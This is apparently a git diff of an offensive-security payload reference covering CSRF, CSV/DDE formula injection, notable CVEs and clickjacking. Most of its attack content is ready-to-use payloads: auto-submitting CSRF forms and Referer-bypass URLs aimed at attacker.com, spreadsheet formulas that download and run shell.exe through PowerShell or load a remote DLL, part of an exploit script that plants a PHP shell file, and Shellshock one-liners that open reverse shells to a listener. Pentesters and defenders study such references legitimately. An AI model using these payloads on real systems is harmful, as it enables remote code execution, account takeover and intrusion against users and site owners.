||||||
|
|
||||||

|
|
||||||
|
|
||||||
## Payloads
|
|
||||||
|
|
||||||
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
|
|
||||||
|
|
||||||
### HTML GET - Requiring User Interaction
|
|
||||||
|
|
||||||
```html
|
|
||||||
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
|
|
||||||
```
|
|
||||||
|
|
||||||
### HTML GET - No User Interaction
|
|
||||||
|
|
||||||
```html
|
|
||||||
<img src="http://www.example.com/api/setusername?username=CSRFd">
|
|
||||||
```
|
|
||||||
|
|
||||||
### HTML POST - Requiring User Interaction
|
|
||||||
|
|
||||||
```html
|
|
||||||
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
|
||||||
<input name="username" type="hidden" value="CSRFd" />
|
|
||||||
<input type="submit" value="Submit Request" />
|
|
||||||
</form>
|
|
||||||
```
|
|
||||||
|
|
||||||
### HTML POST - AutoSubmit - No User Interaction
|
|
||||||
|
|
||||||
```html
|
|
||||||
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
|
||||||
<input name="username" type="hidden" value="CSRFd" />
|
|
||||||
<input type="submit" value="Submit Request" />
|
|
||||||
</form>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
document.getElementById("autosubmit").submit();
|
|
||||||
</script>
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### JSON GET - Simple Request
|
|
||||||
|
|
||||||
```html
|
|
||||||
<script>
|
|
||||||
var xhr = new XMLHttpRequest();
|
|
||||||
xhr.open("GET", "http://www.example.com/api/currentuser");
|
|
||||||
xhr.send();
|
|
||||||
</script>
|
|
||||||
```
|
|
||||||
|
|
||||||
### JSON POST - Simple Request
|
|
||||||
|
|
||||||
```html
|
|
||||||
<script>
|
|
||||||
var xhr = new XMLHttpRequest();
|
|
||||||
xhr.open("POST", "http://www.example.com/api/setrole");
|
|
||||||
//application/json is not allowed in a simple request. text/plain is the default
|
|
||||||
xhr.setRequestHeader("Content-Type", "text/plain");
|
|
||||||
//You will probably want to also try one or both of these
|
|
||||||
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
|
||||||
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
|
|
||||||
xhr.send('{"role":admin}');
|
|
||||||
</script>
|
|
||||||
```
|
|
||||||
|
|
||||||
### JSON POST - Complex Request
|
|
||||||
|
|
||||||
```html
|
|
||||||
<script>
|
|
||||||
var xhr = new XMLHttpRequest();
|
|
||||||
xhr.open("POST", "http://www.example.com/api/setrole");
|
|
||||||
xhr.withCredentials = true;
|
|
||||||
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
|
|
||||||
xhr.send('{"role":admin}');
|
|
||||||
</script>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Bypass referer header validation
|
|
||||||
|
|
||||||
### Basic payload
|
|
||||||
```
|
|
||||||
1) Open https://attacker.com/csrf.html
|
|
||||||
2) Referer header is ..
|
|
||||||
|
|
||||||
Referer: https://attacker.com/csrf.html
|
|
||||||
```
|
|
||||||
### With question mark(`?`) payload
|
|
||||||
```
|
|
||||||
1) Open https://attacker.com/csrf.html?trusted.domain.com
|
|
||||||
2) Referer header is ..
|
|
||||||
|
|
||||||
Referer: https://attacker.com/csrf.html?trusted.domain.com
|
|
||||||
```
|
|
||||||
|
|
||||||
### With semicolon(`;`) payload
|
|
||||||
```
|
|
||||||
1) Open https://attacker.com/csrf.html;trusted.domain.com
|
|
||||||
2) Referer header is ..
|
|
||||||
|
|
||||||
Referer: https://attacker.com/csrf.html;trusted.domain.com
|
|
||||||
```
|
|
||||||
|
|
||||||
### With subdomain payload
|
|
||||||
```
|
|
||||||
1) Open https://trusted.domain.com.attacker.com/csrf.html
|
|
||||||
2) Referer headers is ..
|
|
||||||
|
|
||||||
Referer: https://trusted.domain.com.attacker.com/csrf.html
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
|
|
||||||
- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
|
|
||||||
- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/)
|
|
||||||
- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
|
|
||||||
- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/)
|
|
||||||
- [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820)
|
|
||||||
- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
|
|
||||||
- [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
|
|
||||||
- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
|
|
||||||
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
|
|
||||||
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
|
|
||||||
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
|
|
||||||
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
|
|
||||||
- [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
|
|
||||||
@@ -1,48 +1,17 @@
|
|||||||
# CSV Injection (Formula Injection)
|
# CSV Injection
|
||||||
|
|
||||||
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||||||
|
|
||||||
## Exploit
|
|
||||||
|
|
||||||
Basic exploit with Dynamic Data Exchange
|
## Summary
|
||||||
|
|
||||||
```powershell
|
* [Methodology](#methodology)
|
||||||
# pop a calc
|
* [References](#references)
|
||||||
DDE ("cmd";"/C calc";"!A0")A0
|
|
||||||
@SUM(1+1)*cmd|' /C calc'!A0
|
|
||||||
=2+5+cmd|' /C calc'!A0
|
|
||||||
|
|
||||||
# pop a notepad
|
|
||||||
=cmd|' /C notepad'!'A1'
|
|
||||||
|
|
||||||
# powershell download and execute
|
## Methodology
|
||||||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
|
||||||
|
|
||||||
# msf smb delivery with rundll32
|
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
|
||||||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
|
||||||
|
|
||||||
# Prefix obfuscation and command chaining
|
|
||||||
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
|
|
||||||
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
|
|
||||||
+thespanishinquisition(cmd|'/c calc.exe'!A
|
|
||||||
= cmd|'/c calc.exe'!A
|
|
||||||
|
|
||||||
# Using rundll32 instead of cmd
|
|
||||||
=rundll32|'URL.dll,OpenURL calc.exe'!A
|
|
||||||
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
|
|
||||||
|
|
||||||
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
|
|
||||||
= C m D | '/ c c al c . e x e ' ! A
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
Technical Details of the above payload:
|
|
||||||
|
|
||||||
- `cmd` is the name the server can respond to whenever a client is trying to access the server
|
|
||||||
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
|
|
||||||
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
|
||||||
|
|
||||||
Any formula can be started with
|
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
=
|
=
|
||||||
@@ -51,13 +20,53 @@ Any formula can be started with
|
|||||||
@
|
@
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Basic exploits with **Dynamic Data Exchange**.
|
||||||
|
|
||||||
|
* Spawn a calc
|
||||||
|
```powershell
|
||||||
|
DDE ("cmd";"/C calc";"!A0")A0
|
||||||
|
@SUM(1+1)*cmd|' /C calc'!A0
|
||||||
|
=2+5+cmd|' /C calc'!A0
|
||||||
|
=cmd|' /C calc'!'A1'
|
||||||
|
```
|
||||||
|
|
||||||
|
* PowerShell download and execute
|
||||||
|
```powershell
|
||||||
|
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||||||
|
```
|
||||||
|
|
||||||
|
* Prefix obfuscation and command chaining
|
||||||
|
```powershell
|
||||||
|
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
|
||||||
|
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
|
||||||
|
= cmd|'/c calc.exe'!A
|
||||||
|
```
|
||||||
|
|
||||||
|
* Using rundll32 instead of cmd
|
||||||
|
```powershell
|
||||||
|
=rundll32|'URL.dll,OpenURL calc.exe'!A
|
||||||
|
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
|
||||||
|
```
|
||||||
|
|
||||||
|
* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
|
||||||
|
```powershell
|
||||||
|
= C m D | '/ c c al c . e x e ' ! A
|
||||||
|
```
|
||||||
|
|
||||||
|
Technical details of the above payloads:
|
||||||
|
|
||||||
|
- `cmd` is the name the server can respond to whenever a client is trying to access the server
|
||||||
|
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
|
||||||
|
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
|
- [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
|
||||||
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
|
- [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
|
||||||
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
|
- [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
|
||||||
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
|
- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
||||||
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
|
||||||
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
|
- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
|
||||||
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
|
- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
|
||||||
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
|
|
||||||
@@ -114,7 +114,7 @@ if len(host) > 0:
|
|||||||
urllib.request.urlopen(host+pwnd(str(shellfile)))
|
urllib.request.urlopen(host+pwnd(str(shellfile)))
|
||||||
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
|
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
|
||||||
if shell.read().find(pathsave+"status.php") != -1:
|
if shell.read().find(pathsave+"status.php") != -1:
|
||||||
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
|
print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
|
||||||
else:
|
else:
|
||||||
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
|
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,30 @@
|
|||||||
# Common Vulnerabilities and Exposures
|
# Common Vulnerabilities and Exposures
|
||||||
|
|
||||||
## Big CVEs in the last 5 years.
|
> A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)
|
||||||
|
* [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)
|
||||||
|
* [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)
|
||||||
|
* [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)
|
||||||
|
* [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)
|
||||||
|
* [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)
|
||||||
|
* [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)
|
||||||
|
* [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
|
||||||
|
- [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
|
||||||
|
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
|
||||||
|
- [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
|
||||||
|
|
||||||
|
|
||||||
|
## Big CVEs in the last 15 years
|
||||||
|
|
||||||
### CVE-2017-0144 - EternalBlue
|
### CVE-2017-0144 - EternalBlue
|
||||||
|
|
||||||
@@ -16,19 +40,23 @@ Afftected systems:
|
|||||||
- Windows 10 Gold, 1511, and 1607
|
- Windows 10 Gold, 1511, and 1607
|
||||||
- Windows Server 2016
|
- Windows Server 2016
|
||||||
|
|
||||||
|
|
||||||
### CVE-2017-5638 - Apache Struts 2
|
### CVE-2017-5638 - Apache Struts 2
|
||||||
|
|
||||||
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
|
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
|
||||||
|
|
||||||
|
|
||||||
### CVE-2018-7600 - Drupalgeddon 2
|
### CVE-2018-7600 - Drupalgeddon 2
|
||||||
|
|
||||||
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
|
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
|
||||||
|
|
||||||
|
|
||||||
### CVE-2019-0708 - BlueKeep
|
### CVE-2019-0708 - BlueKeep
|
||||||
|
|
||||||
A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
|
A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
|
||||||
|
|
||||||
### CVE-2019-19781 - Citrix ADC Netscaler
|
|
||||||
|
### CVE-2019-19781 - Citrix ADC Netscaler
|
||||||
|
|
||||||
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
|
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
|
||||||
|
|
||||||
@@ -39,12 +67,12 @@ Affected products:
|
|||||||
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
|
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
|
||||||
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
|
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
|
||||||
|
|
||||||
## Older, but not forgotten
|
|
||||||
|
|
||||||
### CVE-2014-0160 - Heartbleed
|
### CVE-2014-0160 - Heartbleed
|
||||||
|
|
||||||
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
||||||
|
|
||||||
|
|
||||||
### CVE-2014-6271 - Shellshock
|
### CVE-2014-6271 - Shellshock
|
||||||
|
|
||||||
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
||||||
@@ -54,7 +82,8 @@ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0
|
|||||||
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
|
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Thanks to
|
|
||||||
|
## References
|
||||||
|
|
||||||
* [Heartbleed - Official website](http://heartbleed.com)
|
* [Heartbleed - Official website](http://heartbleed.com)
|
||||||
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
|
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
|
||||||
|
|||||||
260
Clickjacking/README.md
Normal file
260
Clickjacking/README.md
Normal file
@@ -0,0 +1,260 @@
|
|||||||
|
# Clickjacking
|
||||||
|
|
||||||
|
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [UI Redressing](#ui-redressing)
|
||||||
|
* [Invisible Frames](#invisible-frames)
|
||||||
|
* [Button/Form Hijacking](#buttonform-hijacking)
|
||||||
|
* [Execution Methods](#execution-methods)
|
||||||
|
* [Preventive Measures](#preventive-measures)
|
||||||
|
* [Implement X-Frame-Options Header](#implement-x-frame-options-header)
|
||||||
|
* [Content Security Policy (CSP)](#content-security-policy-csp)
|
||||||
|
* [Disabling JavaScript](#disabling-javascript)
|
||||||
|
* [OnBeforeUnload Event](#onbeforeunload-event)
|
||||||
|
* [XSS Filter](#xss-filter)
|
||||||
|
* [IE8 XSS filter](#ie8-xss-filter)
|
||||||
|
* [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
|
||||||
|
* [Challenge](#challenge)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [portswigger/burp](https://portswigger.net/burp)
|
||||||
|
* [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
|
||||||
|
* [machine1337/clickjack](https://github.com/machine1337/clickjack)
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
### UI Redressing
|
||||||
|
|
||||||
|
UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
|
||||||
|
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
|
||||||
|
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
|
||||||
|
|
||||||
|
* **How UI Redressing Works:**
|
||||||
|
* Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
|
||||||
|
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
|
||||||
|
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
|
||||||
|
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
|
||||||
|
<a href="malicious-link">Click me</a>
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Invisible Frames
|
||||||
|
|
||||||
|
Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
|
||||||
|
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
|
||||||
|
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
|
||||||
|
|
||||||
|
* **How Invisible Frames Work:**
|
||||||
|
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
|
||||||
|
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
|
||||||
|
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
|
||||||
|
|
||||||
|
|
||||||
|
### Button/Form Hijacking
|
||||||
|
|
||||||
|
Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
|
||||||
|
|
||||||
|
* **How Button/Form Hijacking Works:**
|
||||||
|
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<button onclick="submitForm()">Click me</button>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
|
||||||
|
<!-- Hidden form fields -->
|
||||||
|
</form>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<button onclick="submitForm()">Click me</button>
|
||||||
|
<form action="legitimate-site" method="POST" id="hidden-form">
|
||||||
|
<!-- Hidden form fields -->
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
function submitForm() {
|
||||||
|
document.getElementById('hidden-form').submit();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Execution Methods
|
||||||
|
|
||||||
|
* Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
|
||||||
|
<input type="hidden" name="username" value="attacker">
|
||||||
|
<input type="hidden" name="action" value="transfer-funds">
|
||||||
|
</form>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
|
||||||
|
|
||||||
|
```js
|
||||||
|
function submitForm() {
|
||||||
|
document.getElementById('hidden-form').submit();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Preventive Measures
|
||||||
|
|
||||||
|
### Implement X-Frame-Options Header
|
||||||
|
|
||||||
|
Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
|
||||||
|
|
||||||
|
```apache
|
||||||
|
Header always append X-Frame-Options SAMEORIGIN
|
||||||
|
```
|
||||||
|
|
||||||
|
### Content Security Policy (CSP)
|
||||||
|
|
||||||
|
Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
|
||||||
|
Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
|
||||||
|
Example in HTML meta tag:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
|
||||||
|
```
|
||||||
|
|
||||||
|
### Disabling JavaScript
|
||||||
|
|
||||||
|
* Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
|
||||||
|
* There are three deactivation techniques that can be used with frames:
|
||||||
|
* Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<iframe src="http://target site" security="restricted"></iframe>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<iframe src="http://target site" sandbox></iframe>
|
||||||
|
```
|
||||||
|
|
||||||
|
## OnBeforeUnload Event
|
||||||
|
|
||||||
|
